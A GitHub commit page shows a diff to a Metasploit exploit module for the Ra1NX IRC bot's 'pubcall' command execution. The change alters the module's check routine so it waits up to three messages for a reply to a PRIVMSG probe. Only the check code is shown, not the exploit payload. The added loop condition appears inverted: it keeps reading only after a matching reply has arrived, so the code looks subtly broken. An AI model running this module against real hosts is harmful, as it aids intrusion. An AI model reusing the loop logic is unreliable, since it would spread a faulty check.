Skip to content

Commit 6cf44d9

Browse files
author
bwall
committed
added a 3 message window for recieving the check response
1 parent ce9f11a commit 6cf44d9

File tree

1 file changed

+13
-7
lines changed

1 file changed

+13
-7
lines changed

modules/exploits/multi/misc/Ra1NX_pubcall_exec.rb

Lines changed: 13 additions & 7 deletions
Original file line numberDiff line numberDiff line change
@@ -71,8 +71,7 @@ def check
7171
return Exploit::CheckCode::Unknown
7272
end
7373
confirm_string = rand_text_alpha(8)
74-
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n")
75-
print response
74+
response = send_msg(sock, "PRIVMSG #{datastore['RNICK']} :#{datastore['RNICK']} @msg #{datastore['NICK']} #{confirm_string}\r\n", ":#{datastore['RNICK']}")
7675
quit(sock)
7776
disconnect
7877

@@ -83,15 +82,22 @@ def check
8382
end
8483
end
8584

86-
def send_msg(sock, data)
85+
def send_msg(sock, data, startResponse = nil)
8786
sock.put(data)
8887
data = ""
88+
count = 3
8989
begin
90-
read_data = sock.get_once(-1, 1)
91-
while not read_data.nil?
92-
data << read_data
90+
begin
9391
read_data = sock.get_once(-1, 1)
94-
end
92+
while not read_data.nil?
93+
data << read_data
94+
read_data = sock.get_once(-1, 1)
95+
end
96+
if startResponse != nil and data.start_with?(startResponse)
97+
startResponse = nil
98+
end
99+
count -= 1
100+
end while startResponse == nil and count != 0
95101
rescue EOFError
96102
end
97103
data

0 commit comments

Comments
 (0)